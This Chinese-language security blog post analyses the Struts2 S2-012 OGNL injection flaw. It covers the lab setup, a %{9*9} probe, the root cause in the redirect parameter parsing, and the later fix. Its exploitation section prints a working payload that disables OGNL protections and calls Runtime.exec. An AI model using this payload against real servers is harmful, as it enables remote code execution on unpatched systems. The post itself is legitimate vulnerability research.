前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-011 是个 DOS,跳过跳过。


环境搭建

2.3.4.1 版本的 struts2 + Tomcat 9,在 struts.xml 中加入一个带参数的跳转:

<result name="success" type="redirect">login!update.action?skillName=${url}</result>

也可以这样:

<result name="success" type="redirectAction">
    <param name="actionName">login!update.action</param>
    <param name="url">${url}</param>
</result>

然后尝试提交 url 值为 %{9*9},如果看到重定向至 login!update.action?url=81,说明漏洞利用成功。

漏洞利用

阅读漏洞通告,推测漏洞原理与 S2-001 类似,都是递归解析导致的,payload 如下:

url=%25{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(@java.lang.Runtime@getRuntime().exec("calc"))}

漏洞分析

寻找搜索跟 redirect 相关的类,找到 ServletRedirectResult 类,可以看到它的 doExecute 方法看起来比较可疑:

ResultConfig resultConfig = invocation.getProxy().getConfig().getResults().get(invocation.getResultCode());
if (resultConfig != null) {
    Map<String, String> resultConfigParams = resultConfig.getParams();

    for (Map.Entry<String, String> e : resultConfigParams.entrySet()) {
        if (!getProhibitedResultParams().contains(e.getKey())) {
            String potentialValue = e.getValue() == null ? "" : conditionalParse(e.getValue(), invocation);
            if (!suppressEmptyParameters || ((potentialValue != null) && (potentialValue.length() > 0))) {
                requestParameters.put(e.getKey(), potentialValue);
            }
        }
    }
}

给他的 doExecute 方法下断点,开始调试,可以看到将 ${url} 作为参数调用了 conditionalParse,然后一步步来到 TextParseUtil 类的 translateVariables 函数:

for (char open : openChars) {
    ...

    while (true) {
        ...
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        ...

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }


            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (StringUtils.isEmpty(left)) {
                    result = o;
                } else {
                    result = left.concat(middle);
                }

                if (StringUtils.isNotEmpty(right)) {
                    result = result.toString().concat(right);
                }

                expression = left.concat(middle).concat(right);
            } 
            ...
        } 
        ...
    }
}

可以看到当时 S2-001 的修复,就是加上了递归深度限制,本来应该是无法再递归解析了,但是前面多了一个 for 循环,用来遍历两个表达式起始字符,$ 和 %,所以在第一次 ${url} 执行完毕后,如果 url 的值是一个 % 开始的表达式,会再次解析执行。

漏洞修复

2.3.14.3 版本的修复,逻辑移到了 OgnlTextParser 类的 evaluate 函数中,函数内容基本相同,只是 for 遍历的开头少了一句:

int pos = 0;

而 pos 的计算方式为:

pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
        (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
        1;

middle 就是 url 的值,所以递归的情况下,pos 会是 url 的长度,也就是说:

int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
    loopCount++;
    start = expression.indexOf(lookupChars);
}

indexof 搜索就会失败,loopCount + 1 导致递归深度验证失败。


Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-013/S2-014
struts2系列漏洞 S2-010